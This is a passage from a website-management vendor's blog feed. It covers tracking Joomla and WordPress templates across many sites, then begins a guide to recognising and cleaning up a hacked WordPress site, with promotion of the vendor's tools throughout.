&lt;h3&gt;After the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Export a fresh CSV as your post-migration baseline&lt;/li&gt;
&lt;li&gt;Compare it against the pre-migration export to verify every site was updated&lt;/li&gt;
&lt;li&gt;Archive both CSVs for your records&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This structured approach prevents the most common migration mistake: thinking you have finished when there are still a handful of sites left on the old template. The template list gives you an objective answer instead of relying on your memory of which sites you have already touched.&lt;/p&gt;
&lt;h2&gt;Using the template list for security response&lt;/h2&gt;
&lt;p&gt;When a template vulnerability is disclosed, response time is everything. The template list tool gives you the fastest possible path from “there is a vulnerability” to “these are the sites I need to patch.”&lt;/p&gt;
&lt;h3&gt;The workflow for a template security event&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identify the affected template&lt;/strong&gt; - Check the vulnerability disclosure for the template name and affected versions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search the template list&lt;/strong&gt; - Type the template name in the search box to see every site in your portfolio using it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check versions&lt;/strong&gt; - The Theme Version column tells you immediately which sites are running a vulnerable version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prioritise and act&lt;/strong&gt; - Start with the most critical or publicly visible sites, then work through the rest&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Push the update&lt;/strong&gt; - If the template developer has released a patch, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass package installer&lt;/a&gt; to push it to all affected sites at once&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify&lt;/strong&gt; - Run snapshots on the updated sites and check the template list again to confirm the new version is showing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This entire process takes minutes, not hours. Compare that to logging into each admin panel individually, navigating to the template manager, checking the version, downloading the update, installing it, and moving on to the next site. At scale, the time savings are enormous.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The recent Astroid Framework vulnerability (CVE-2026-21628) affected every version before 3.3.11. Agencies using mySites.guru could identify all affected sites in seconds using the template list and extension search, then push the update to all of them at once using the mass package installer.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We covered the Astroid vulnerability in detail when it dropped. If you want to hear about security issues like these as they happen, &lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;subscribe to the newsletter&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts directly in your dashboard.&lt;/p&gt;
&lt;h2&gt;Does the Template List Cover WordPress Themes?&lt;/h2&gt;
&lt;p&gt;While this article focuses on Joomla - because Joomla template management across large portfolios is a particularly underserved need - the template list tool covers WordPress sites equally well.&lt;/p&gt;
&lt;p&gt;WordPress themes appear in the same table with the same columns: theme name, version, and author. The CSV export includes a &lt;code&gt;site_platform&lt;/code&gt; column so you can distinguish between Joomla templates and WordPress themes when processing the data.&lt;/p&gt;
&lt;p&gt;This is especially useful for agencies that manage a mixed portfolio of Joomla and WordPress sites. Instead of checking two different systems or maintaining separate inventories, everything is in one place. The &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;mySites.guru dashboard&lt;/a&gt; was built for exactly this kind of cross-platform visibility.&lt;/p&gt;
&lt;p&gt;For WordPress specifically, the same default theme warning applies. Sites running Twenty Twenty-Five (or any of the annual default themes) are flagged by the snapshot, just as Joomla sites running Cassiopeia are flagged.&lt;/p&gt;
&lt;h2&gt;Integrating template data into your workflow&lt;/h2&gt;
&lt;p&gt;The template list connects to other parts of mySites.guru that help you act on the information.&lt;/p&gt;
&lt;h3&gt;Combined with extensions management&lt;/h3&gt;
&lt;p&gt;Templates do not exist in isolation. A Joomla template built on the &lt;a href=&quot;https://astroidframe.work/&quot;&gt;Astroid Framework&lt;/a&gt; depends on that framework being installed and up to date. A template built on the Helix3 or T4 framework has the same dependency.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions management tool&lt;/a&gt; lets you search for these frameworks by name and see every site that has them installed, along with the version number. Cross-referencing this with the template list gives you a complete picture: which template is active, and which underlying framework it depends on.&lt;/p&gt;
&lt;p&gt;This is how you spot a site that has been upgraded to a new template but still has the old template’s framework installed and potentially vulnerable. The template list shows the active template; the extensions list shows everything installed, whether active or not.&lt;/p&gt;
&lt;h3&gt;Combined with site information&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; provides the broader context for each site: PHP version, CMS version, server environment, SSL status, and more. When you spot a site on an old template version in the template list, you can check the site information to understand why - maybe it is running an older PHP version that cannot support the latest template release, or the CMS version has not been updated either.&lt;/p&gt;
&lt;h3&gt;Combined with client reports&lt;/h3&gt;
&lt;p&gt;If you send regular reports to clients, the template data feeds into the information available for your &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt;. You can document exactly which template is in use, confirm it is up to date, and demonstrate that you are actively managing the site’s infrastructure - not just keeping the content fresh.&lt;/p&gt;
&lt;h3&gt;Combined with the snapshot&lt;/h3&gt;
&lt;p&gt;Every template data point in the list comes from the automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;. The snapshot runs 140+ checks across every connected site, twice a day. The template list is just one view of that data. Other snapshot checks that relate to templates include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Whether the site is using a default template (flagged as an issue)&lt;/li&gt;
&lt;li&gt;Whether the &lt;code&gt;robots.txt&lt;/code&gt; file is &lt;a href=&quot;https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/&quot;&gt;blocking the &lt;code&gt;/templates/&lt;/code&gt; or &lt;code&gt;/media/&lt;/code&gt; directories from search engines&lt;/a&gt; (which prevents Google from accessing CSS and images)&lt;/li&gt;
&lt;li&gt;The overall configuration health of the site, which can be affected by template settings&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Real-world scenarios&lt;/h2&gt;
&lt;h3&gt;Scenario 1: Template framework update across 80 sites&lt;/h3&gt;
&lt;p&gt;You receive an email from a template developer announcing a new version with a security patch. You need to know which sites are running that template and which version they are on.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the template list in mySites.guru&lt;/li&gt;
&lt;li&gt;Type the template name in the search box&lt;/li&gt;
&lt;li&gt;The filtered list shows 23 of your 80 sites are using that template&lt;/li&gt;
&lt;li&gt;The Theme Version column shows 19 are on the old version, 4 have already been updated&lt;/li&gt;
&lt;li&gt;Click Export CSV to document the current state&lt;/li&gt;
&lt;li&gt;Use the mass package installer to push the update to the 19 remaining sites&lt;/li&gt;
&lt;li&gt;Run snapshots and check the template list again - all 23 now show the new version&lt;/li&gt;
&lt;li&gt;Export another CSV for your records&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Total time: about 10 minutes. Without mySites.guru, that same task would involve logging into 80 admin panels just to identify the 23 affected sites, before you even start updating.&lt;/p&gt;
&lt;h3&gt;Scenario 2: Client portfolio handover&lt;/h3&gt;
&lt;p&gt;You are taking over management of 35 Joomla sites from another agency. You need to document exactly what is deployed on each site.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect all 35 sites to your mySites.guru account&lt;/li&gt;
&lt;li&gt;Wait for the initial snapshots to complete (or trigger them manually)&lt;/li&gt;
&lt;li&gt;Open the template list and export the CSV&lt;/li&gt;
&lt;li&gt;Open the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions list&lt;/a&gt; and note the template frameworks in use&lt;/li&gt;
&lt;li&gt;Cross-reference with the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; for PHP versions and CMS versions&lt;/li&gt;
&lt;li&gt;Attach all three exports to your handover documentation&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You now have a complete, accurate inventory without having logged into a single admin panel.&lt;/p&gt;
&lt;h3&gt;Scenario 3: Standardising templates after acquisition&lt;/h3&gt;
&lt;p&gt;Your agency has acquired a smaller agency, and you want to standardise all sites onto your preferred template framework. You need to know what is currently in use across both portfolios.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect the acquired agency’s sites to your mySites.guru account (there is &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;no limit on the number of sites&lt;/a&gt; you can add)&lt;/li&gt;
&lt;li&gt;Open the template list and search for your preferred template framework - these sites are already standardised&lt;/li&gt;
&lt;li&gt;Search for other template names to identify the ones that need migrating&lt;/li&gt;
&lt;li&gt;Export the CSV and sort by template name to group the migration work&lt;/li&gt;
&lt;li&gt;Work through the list site by site, updating the template list as you go&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The template list becomes your migration project tracker. As each site is migrated, it moves from the “old template” search results to the “new template” search results.&lt;/p&gt;
&lt;h2&gt;How Is the Data Collected?&lt;/h2&gt;
&lt;p&gt;The template data comes from the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, which runs automatically twice daily on every connected site. The snapshot is fast - it completes in milliseconds - and collects over 140 data points about each site’s configuration.&lt;/p&gt;
&lt;p&gt;For Joomla sites, the snapshot reads the active template assignment from the site’s configuration. It captures the template name, version number, and author as reported by the template’s manifest file.&lt;/p&gt;
&lt;p&gt;For WordPress sites, the snapshot reads the active theme information from the WordPress database, capturing the same data points: theme name, version, and author.&lt;/p&gt;
&lt;p&gt;This data is stored in mySites.guru and made available through the template list tool, the CSV export, and the individual site management pages. It is refreshed every 12 hours automatically, or immediately when you trigger a manual snapshot.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;The snapshot is distinct from the full audit. The snapshot checks configuration and settings in milliseconds. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit&lt;/a&gt; inspects every file and line of code on the webspace, so it takes longer but catches things like malware in template files.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Are Common Joomla Template Management Mistakes?&lt;/h2&gt;
&lt;p&gt;Managing templates across a large portfolio is straightforward when you have the right tooling. Without it, these mistakes happen regularly:&lt;/p&gt;
&lt;h3&gt;Not tracking template versions&lt;/h3&gt;
&lt;p&gt;Installing a template and never checking whether the developer has released updates is surprisingly common. Template updates contain bug fixes, performance improvements, and - critically - security patches. The template list makes version tracking automatic rather than something you have to remember to do.&lt;/p&gt;
&lt;h3&gt;Leaving old templates installed&lt;/h3&gt;
&lt;p&gt;After migrating a site to a new template, the old template often remains installed. It is not active, so it does not affect the front end, but the files are still on the server. If those files contain a vulnerability, they can still be exploited. The template list shows the active template; the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions management tool&lt;/a&gt; shows all installed templates, including inactive ones.&lt;/p&gt;
&lt;h3&gt;Assuming all sites use the same template&lt;/h3&gt;
&lt;p&gt;In a large portfolio, it is easy to assume consistency where there is none. A site might have been set up by a different team member, or a client might have changed their template without telling you. The template list provides the ground truth, replacing assumptions with data.&lt;/p&gt;
&lt;h3&gt;Not documenting template choices&lt;/h3&gt;
&lt;p&gt;When a team member leaves, their knowledge of which templates are deployed where goes with them. The CSV export from the template list creates an instant, accurate record that does not depend on any individual’s memory.&lt;/p&gt;
&lt;h3&gt;Ignoring the default template warning&lt;/h3&gt;
&lt;p&gt;The snapshot check for default templates is there for a reason. Default templates are fine for development and testing, but they should not be running on production client sites. If the warning keeps appearing and you keep ignoring it, you are accepting unnecessary risk and presenting an unprofessional appearance to your clients’ visitors.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you already have a mySites.guru account with connected sites, the template list is available right now in your Tools section. The data populates automatically from your latest snapshots - there is nothing extra to configure or enable.&lt;/p&gt;
&lt;p&gt;If you do not have an account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up on the pricing page&lt;/a&gt; and start connecting your Joomla and WordPress sites. The snapshot runs on each site as it is connected, and the template data appears in the list as soon as the snapshot completes. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; at a flat monthly rate - there is no per-site charge, so you can add your entire portfolio without worrying about costs scaling with your business.&lt;/p&gt;
&lt;p&gt;For a broader look at everything mySites.guru offers beyond template management, check out the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt; or read about the &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;full dashboard experience&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Administrators/Template_Management&quot;&gt;Joomla Template Management Portal&lt;/a&gt; - Official Joomla documentation covering the template manager, assignments, and core template workflows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sucuri.net/guides/joomla-security/&quot;&gt;Sucuri Joomla Security Guide&lt;/a&gt; - Security hardening guide covering vulnerability protection and access control for Joomla deployments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://watchful.net/how-to/joomla-template-security/&quot;&gt;8 Tips to Improve Joomla Template Security&lt;/a&gt; - Practical template-specific security hardening including file permissions, directory listing prevention, and file change monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Template management is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>templates</category><category>themes</category><category>joomla</category><category>manage multiple sites</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/how-to-compare-joomla-templates-across-sites.webp" length="0" type="image/webp"/></item><item><title>Is My WordPress Site Hacked? How to Check and What to Do Next</title><link>https://mysites.guru/blog/is-my-wordpress-site-hacked/</link><guid isPermaLink="true">https://mysites.guru/blog/is-my-wordpress-site-hacked/</guid><description>Think your WordPress site has been hacked? Here are the signs to look for, how to confirm it, and what to do in the first 24 hours to contain the damage.</description><pubDate>Thu, 12 Mar 2026 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Something is off with your WordPress site. Maybe it’s redirecting to a casino. Maybe Google is showing a “This site may be hacked” warning. Maybe your hosting provider just sent you a threatening email about malware.&lt;/p&gt;
&lt;p&gt;Before you panic, you need to figure out what’s actually happening. Not every weird behaviour means you’ve been hacked, but ignoring real signs can turn a small problem into a total mess.&lt;/p&gt;
&lt;h2&gt;Hack or false alarm?&lt;/h2&gt;
&lt;p&gt;Some symptoms point to a hack. Others are just a broken plugin or a hosting hiccup. Knowing the difference saves you hours chasing the wrong problem.&lt;/p&gt;
&lt;h3&gt;Strong indicators of a hack&lt;/h3&gt;
&lt;p&gt;These almost always mean someone has tampered with your site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unexpected redirects&lt;/strong&gt; - Your site sends visitors (or just mobile visitors, or just Google visitors) to spam, pharmacy, or gambling sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New admin users you didn’t create&lt;/strong&gt; - Check Users &amp;gt; All Users for accounts you don’t recognise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modified core files&lt;/strong&gt; - WordPress core files (wp-includes, wp-admin) have been changed from their original versions, like the &lt;a href=&quot;https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/&quot;&gt;fake Cloudflare captcha hidden in wp-includes/functions.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Safe Browsing warnings&lt;/strong&gt; - Google shows “This site may harm your computer” in search results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strange files in unexpected places&lt;/strong&gt; - PHP files in your uploads folder, files with random names in wp-content, or hidden files starting with a dot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO spam injection&lt;/strong&gt; - Your site shows pharmaceutical or gambling content to search engines but looks normal to you&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hosting provider notifications&lt;/strong&gt; - Your host detected malware or suspended your account&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Things that look like a hack but usually aren’t&lt;/h3&gt;
&lt;p&gt;These cause confusion but typically have innocent explanations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site is slow or down&lt;/strong&gt; - More likely a hosting issue, bad plugin, or traffic spike&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin panel looks different&lt;/strong&gt; - A plugin or theme update changed the UI&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Emails going to spam&lt;/strong&gt; - Usually a &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;DNS/SPF/DKIM configuration problem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;404 errors on pages&lt;/strong&gt; - Broken permalinks after a migration or plugin conflict&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;White screen of death&lt;/strong&gt; - Almost always a PHP error from a plugin or theme conflict&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your host emailed you about malware&lt;/strong&gt; - Sometimes a real detection, sometimes the host’s scanner getting it wrong. &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;OVH flagged a legitimate plugin file as malware&lt;/a&gt; and blocked whole hosting plans over it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to confirm a WordPress hack in 5 minutes&lt;/h2&gt;
&lt;p&gt;Don’t guess. Check.&lt;/p&gt;
&lt;h3&gt;Step 1: Scan your files&lt;/h3&gt;
&lt;p&gt;The fastest way to confirm a hack is to scan every file on your server against known malware patterns. Surface-level scanners that only check a few pages miss most infections - you need file-level scanning.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;mySites.guru’s malware scanner&lt;/a&gt; checks every file in your webspace against 2,000+ regex patterns and 14,000+ known-bad file hashes. The two detect different things, and &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;knowing whether a flag is a confirmed hack or just a pattern match&lt;/a&gt; saves you chasing false alarms. Most scanners only check what your site outputs to a browser. This one reads the actual files on disk, which is where the malware lives.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;run a free audit&lt;/a&gt; with no credit card required.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru hacked file scanner showing detected malware with suspect content matches&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2410px) 2410px, 100vw&quot; width=&quot;2410&quot; height=&quot;1528&quot; src=&quot;https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_1odpXc.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_Z9qmpr.webp 640w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_2rxGEs.webp 750w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_FXJhT.webp 828w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_22oyHq.webp 1080w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_Hawhx.webp 1280w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_1EyohI.webp 1668w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_p5G76.webp 2048w, https://mysites.guru/_astro/hacked-files-scanner.BZbC_Hkc_1odpXc.webp 2410w&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;The mySites.guru suspect content tool clearly shows hacked files, and patterns that match our suspect content rules&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 2: Check your admin users&lt;/h3&gt;
&lt;p&gt;Log into WordPress and go to &lt;strong&gt;Users &amp;gt; All Users&lt;/strong&gt;. Sort by role and look for any Administrator accounts you don’t recognise. Hackers often create backdoor admin accounts with innocent-sounding names. Be aware that this screen can lie to you: a plugin can filter an account out of the list, so the account exists in the database and never appears here. Reading the user table directly is the only answer you can trust, which is what &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;the rogue and hidden administrator check does&lt;/a&gt;. If you manage more than a handful of sites, you can also &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;read and edit every site’s user list without logging in to any of them&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru’s snapshot&lt;/a&gt; makes this easier. Every site audit shows exactly how many super users exist, how many lack two-factor authentication, and flags any accounts that look suspicious - across all your sites at once, without logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you can’t log in at all, that’s another strong indicator - the attacker may have changed your password or locked you out.&lt;/p&gt;
&lt;h3&gt;Step 3: Check Google’s view of your site&lt;/h3&gt;
&lt;p&gt;Search Google for &lt;code&gt;site:yourdomain.com&lt;/code&gt; and scan the results. If you see pages about pharmaceuticals, gambling, or products you don’t sell, your site has been injected with SEO spam. This type of hack is invisible to you when you visit the site normally because the malware only shows the spam content to search engine crawlers.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Google search results showing a hacked website with SEO spam gambling pages indexed under a legitimate business domain&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1782px) 1782px, 100vw&quot; width=&quot;1782&quot; height=&quot;900&quot; src=&quot;https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_ZloTdM.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_Z2jjVip.webp 640w, https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_ZKjz69.webp 750w, https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_ZycRXz.webp 828w, https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_ZRV3MK.webp 1080w, https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_njN06.webp 1280w, https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_ZCfIeo.webp 1668w, https://mysites.guru/_astro/hacked-google-results.D5jGZD2w_ZloTdM.webp 1782w&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;A real example of a hacked site - Google is indexing gambling spam pages under a legitimate food business domain&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 4: Review recently modified files&lt;/h3&gt;
&lt;p&gt;Check which files on your server were modified recently. If core WordPress files or files in wp-content have modification dates that don’t match your last update, something changed them.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru audit&lt;/a&gt; includes a full set of file and folder diagnostic tools that automate this work. It flags files modified in the last three days, finds hidden files and folders, locates archive files left behind by attackers, spots PHP files in directories where they shouldn’t exist, identifies renamed files (like file.old or file.bak) that hackers use to stash backdoors, and checks for files that existed in a previous audit but were modified since. Each finding has an “Investigate” button that lets you drill straight into the file.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru audit showing folder and file information tools with flags for recently modified files, hidden folders, tmp files, and other suspicious items&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2298px) 2298px, 100vw&quot; width=&quot;2298&quot; height=&quot;1902&quot; src=&quot;https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_2eGT4b.webp&quot; srcset=&quot;https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_Z6DhXM.webp 640w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_oRfjj.webp 750w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_1lyfTe.webp 828w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_s8CNw.webp 1080w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_Z1alob0.webp 1280w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_Z15eCKd.webp 1668w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_Z1AgLdb.webp 2048w, https://mysites.guru/_astro/audit-file-tools.B_OiZrKQ_2eGT4b.webp 2298w&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;The mySites.guru audit includes over 20 file and folder checks - recently modified files, hidden folders, dangerous permissions, archive files, and more&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; flags files that contain suspicious code patterns - things like base64-encoded payloads, eval() calls processing external input, or obfuscated function names designed to avoid detection.&lt;/p&gt;
&lt;h2&gt;What should you do in the first 24 hours?&lt;/h2&gt;
&lt;p&gt;If your scan confirms a hack, move fast. The longer malware stays on your site, the more damage it does to your search rankings and reputation.&lt;/p&gt;
&lt;h3&gt;1. Change every password&lt;/h3&gt;
&lt;p&gt;Right now. All of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress admin password&lt;/li&gt;
&lt;li&gt;FTP/SFTP credentials&lt;/li&gt;
&lt;li&gt;Database password (update wp-config.php to match)&lt;/li&gt;
&lt;li&gt;Hosting control panel password&lt;/li&gt;
&lt;li&gt;Any API keys stored in wp-config.php&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; means you don’t need to remember passwords for every site - but the attacker might have your old credentials, so change them all regardless.&lt;/p&gt;
&lt;p&gt;None of this touches &lt;a href=&quot;https://mysites.guru/blog/how-to-revoke-wordpress-application-passwords-after-a-hack/&quot;&gt;Application Passwords&lt;/a&gt;, a separate credential each user manages for REST API access. Changing the passwords above does not revoke them, and neither does anything else on this list, so treat it as a step of its own.&lt;/p&gt;
&lt;h3&gt;2. Document what you find&lt;/h3&gt;
&lt;p&gt;Before you start deleting files, take note of what’s been compromised. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; does this for you - it lists every flagged file with the exact matching lines, the threat type, and when the file was last modified. If a file looks suspicious but you’re not sure what it does, the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can explain it in plain English with one click.&lt;/p&gt;
&lt;p&gt;This record matters because it tells you how the attacker got in, which you need to know to prevent reinfection.&lt;/p&gt;
&lt;h3&gt;3. Remove the malware&lt;/h3&gt;
&lt;p&gt;For each compromised file, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core files&lt;/strong&gt; (wp-admin, wp-includes): Replace them with clean copies from wordpress.org. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;compare your core files against the originals&lt;/a&gt; and restore them with a single click - no FTP needed. Replacing them does nothing about an &lt;em&gt;extra&lt;/em&gt; file the attacker added to those folders, which is what &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor Files&lt;/a&gt; reports. For anything beyond a one-click restore, mySites.guru also has an opt-in &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; for browsing and editing the whole site, no FTP client required.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme and plugin files&lt;/strong&gt;: Compare against the original versions. If the file shouldn’t exist at all (random PHP files in your uploads folder, for example), delete it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru also has a built-in file editor that lets you view and edit any file on your server directly from the dashboard. When the audit flags a suspicious file, you can open it, inspect the code, remove the malicious content, and save it back - all without needing FTP or SSH access.&lt;/p&gt;
&lt;figure&gt;
